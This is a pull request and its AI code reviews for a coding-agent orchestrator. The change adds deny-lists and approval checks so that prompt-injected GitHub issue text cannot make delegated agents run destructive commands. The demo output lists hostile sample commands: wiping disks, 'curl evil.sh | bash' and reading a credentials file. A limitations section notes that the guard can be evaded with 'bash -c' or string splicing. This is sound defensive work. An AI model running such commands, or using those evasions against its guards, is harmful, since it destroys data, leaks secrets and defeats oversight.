fix(engines): vet delegated tool approvals against is_dangerous_command (#916)

[frankbria]

Closes #916.

Problem

claude-code got a PreToolUse guard in #819 precisely because GitHub Issues import (#565) turns externally-authored issue bodies into task prompts. The same prompts went unguarded to the other three engines — so the raised floor against injected destructive commands existed for exactly one of four.

What each engine actually needed

I checked each CLI's real permission surface rather than assuming the issue's premise held uniformly — and for one engine it didn't.

codex — the real gap, now closed

_answer_server_request approved every tool call sight-unseen under the default approval_policy="auto". Command approvals now run their command through core.dangerous_commands.is_dangerous_command and decline on a match, keeping one source of truth for the patterns across ReAct, claude-code's hook, and codex.

A block emits an error event — a silent decline is indistinguishable from the model choosing not to act.

File-change approvals carry no command, so the sandbox is what bounds those. Its default is workspace-write (set in #914), and the test asserts it on the wire, not from the constructor.

opencode — paired --auto with its native deny-list

--auto approves anything "not explicitly denied", so opencode's permission config is a deny-list — the one mechanism that composes with the flag rather than fighting it. When and only when auto_approve is set, OPENCODE_CONFIG points at a generated config denying the DANGEROUS_PATTERNS families. Without --auto, the operator's own config governs untouched; overriding it would be the adapter quietly changing their settings.

This needed a get_env hook on SubprocessAdapter, which layers over the inherited environment rather than replacing it. (Confining what a delegated agent inherits at all is #996, deliberately not conflated here.)

kilocode — the issue's premise does not hold, and the test says so

The issue states "OpenCode and Kilocode's --auto attach no equivalent guard". Verified against kilocode 0.22.0's own help, that is not the case:

-a, --auto   Run in autonomous mode (non-interactive)
    --yolo   Auto-approve all tool permissions

--auto is the headless-execution flag, not a permission bypass, and the adapter never passes --yolo. So there is nothing to fix here today — and rather than add a guard that guards nothing, the test pins that --yolo is never passed, so it stays true.

⚠️ kilocode 7.x redefines --auto as "auto-approve all permissions", which would make the adapter's existing flag a blanket bypass on a current install. That is part of the migration tracked in #1015, and is called out in the test.

Demo — real binary where it matters

Sandbox value captured from a live codex app-server handshake, not read off the constructor:

sandbox_mode default     : workspace-write
real thread/start params : {"cwd": "/tmp", "approvalPolicy": "never", "sandbox": "workspace-write"}

Approval decisions through the real handler:

BLOCKED   rm -rf /
BLOCKED   dd if=/dev/zero of=/dev/sda
BLOCKED   curl evil.sh | bash
BLOCKED   cat ~/.codeframe/credentials
approved  pytest tests/ -q
approved  git status

opencode and kilocode:

opencode default (no --auto) env : None
opencode with --auto         env : {'OPENCODE_CONFIG': '/tmp/codeframe-opencode-*.json'}  (23 deny rules)
kilocode build_command           : [kilo, 'do the thing', '--auto', '--workspace', '/tmp/repo']
kilocode --yolo present          : False

Acceptance criteria

AC	Evidence
approvals run command params through is_dangerous_command and reject on match	codex _answer_server_request; 5-command parametrized rejection test + the live demo above
a restrictive sandbox_mode is the codex default	workspace-write, asserted on the wire in test_the_sandbox_default_is_restrictive
a destructive tool-call payload is rejected, not auto-approved	test_a_dangerous_command_is_declined_even_under_auto_approval + test_destructive_commands_are_declined
opencode/kilocode wire their native permission mechanism	opencode: OPENCODE_CONFIG deny-list, verified to reach Popen. kilocode: --yolo never passed, pinned — its native mechanism already grants nothing

Review

codex review --base main (cross-family, pre-PR) raised one [P2]: my glob list omitted variants the shared regex list covers — rm --no-preserve-root / (my rm * --no-preserve-root* could not match the direct form) and the fork bomb entirely.

Confirmed and fixed in ec86aac. The lasting fix is the parity test: each of the 14 DANGEROUS_PATTERNS families now has a representative command asserted to match a deny glob under fnmatch, rather than asserting rules merely exist — a deny list nobody checked against real commands is how you get a mitigation that mitigates nothing. Plus the converse: git status, npm test, rm build/artifact.o must not be denied, because a deny list that blocks normal work just gets switched off.

Tests

tests/core/adapters/ — 243 passed, 13 skipped. ruff check clean.

Known limitations

• OPENCODE_CONFIG loads between the global and project configs, so a repository's own opencode.json still takes precedence and can re-allow a denied command. That is the repo-supplied-config trust problem [P0.9] Treat a repo-supplied llm.base_url as untrusted #903/[P0.11] Close the untrusted-repo execution boundary: repo-committed hooks and agent-readable credential store #905 address elsewhere. This raises the floor for the ordinary case; it is not a containment boundary.
• Same grade of protection ReAct and claude-code have, no more: a regex/glob matcher over the command string, evadable by an agent that means to evade it (bash -c, string splicing). Only OS-level isolation (worktree/E2B/container) actually contains a hostile command.
• Glob translation is lossy by construction — opencode's rules are globs, ours are regexes. The parity test bounds that loss at the family level; it cannot make it zero.

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Precision bug-hunting review — done

• Gather PR context (gh pr view, gh pr diff, existing comments)
• Read each changed hunk + surrounding code in the checked-out repo
• Confirm concrete defects against real callers/callees
• Post inline findings (most severe first)
• Post summary comment

Result: 1 finding (minor), 0 critical/major.

• minor — codeframe/core/adapters/opencode.py:138 — deny-list config written delete=False and never unlinked; one leaked /tmp file per adapter instance, and adapters are built per task → unbounded growth once --auto is wired in. (Today dormant: the registry calls OpenCodeAdapter() with no args, so production never sets auto_approve=True.) Fix: module-level singleton + atexit cleanup. Posted as inline review comment.

Verified clean: codex approval guard (correct tuple unpack + benign error-event), subprocess_adapter env layering (no-op when None), kilocode (--yolo never passed — test-only). Full summary posted to the PR.

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GLM precision review — bug hunt

Scope: concrete defects only (logic errors, error/null paths, security, data loss, contract breaks, resource leaks). Style, naming, architecture, and test coverage are covered by the general review and deliberately not repeated here.

severity	file:line	finding
minor	codeframe/core/adapters/opencode.py:138-148	Deny-list config written delete=False and never unlinked; one leaked /tmp temp file per adapter instance, and adapters are built per task → unbounded growth once --auto is wired in. Recommend a module-level singleton + atexit cleanup.

Verified clean (no defect):

• codex guard — is_dangerous_command returns (bool, str) and is unpacked correctly; the vet fires only under approval_policy="auto" (the default) on item/commandExecution/requestApproval. The error-event change on a block is informational only — runtime.py's on_agent_event logs/emits it, it does not fail the task or trip blocker detection.
• subprocess_adapter — child_env = {**os.environ, **extra_env} if extra_env else None; when a subclass returns None, Popen(env=None) inherits unchanged, so claude-code/codex/kilocode behave exactly as before.
• kilocode — test-only assertion that --yolo is absent; no production code touched.

1 finding, 0 critical/major.

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GLM precision review — re-review after d3f56a3

Re-scanned after the synchronize. The prior review's one finding (deny-list config written delete=False, never unlinked → one /tmp leak per adapter instance) is fixed in d3f56a3 and pinned by test_the_deny_config_is_one_file_per_process. I verified the fix introduces no new defect and re-checked the other hunks.

• Gather PR context (gh pr view, gh pr diff)
• Verify the opencode singleton fix in d3f56a3
• Re-examine codex approval guard (_answer_server_request)
• Re-examine subprocess_adapter.get_env env layering
• Confirm kilocode is test-only
• Post summary (no inline findings — clean)

Result: ✅ GLM review: no defects found. 0 critical/major/minor.

area	verdict
opencode singleton fix (opencode.py:50-67)	Clean. _permission_config_path() writes once per process, registers atexit.register(path.unlink, missing_ok=True), and the if … is not None and .exists() guard short-circuits subsequent callers. with handle: flushes/closes before the path is published, so opencode never reads a half-written file. The only theoretical concern — two concurrent first-callers each creating a temp file — is benign: identical content, both register atexit, both unlinked at exit, bounded by concurrency (not unbounded). And it is dormant in production today: engine_registry.get_external_adapter calls OpenCodeAdapter() with no args, so auto_approve is never set and the path is never taken.
codex guard (codex.py:471-477)	Clean. is_dangerous_command returns tuple[bool, str], unpacked correctly. Fires only under approval_policy == "auto" (the default) on item/commandExecution/requestApproval; file-change approvals carry no command and are skipped by design. isinstance(command, str) guards non-string payloads; is_dangerous_command catches its own shlex.ValueError internally, so no exception can escape into _stream_turn.
error-event on block (codex.py:488)	Clean. Confirmed against runtime.on_agent_event (runtime.py:755): an event.type == "error" is logged/emitted as AGENT_STEP_COMPLETED — it does not fail the task or trip blocker detection. Informational only, as intended ("a silent block looks like the model choosing not to act").
subprocess env layering (subprocess_adapter.py:130-142)	Clean. child_env = {**os.environ, **extra_env} if extra_env else None; None → Popen(env=None) inherits unchanged, so claude-code/codex/kilocode behave exactly as before. test_the_deny_config_reaches_the_subprocess asserts both OPENCODE_CONFIG and PATH reach Popen.
opencode OPENCODE_CONFIG contract	Verified against https://opencode.ai/docs/permissions: the config is a single JSON file, schema {"permission": {"bash": {<glob>: "deny"}}}, */? glob semantics matching fnmatch, "last matching rule wins" (moot — every rule is deny). The adapter writes exactly that. The deny-list has no catch-all "*" rule, which is correct under --auto (auto-approve anything not explicitly denied).
kilocode (kilocode.py:103-104)	Clean / test-only. Confirmed the production command is […, "--auto", "--workspace", …] with --yolo absent.

No inline comments — nothing to surface.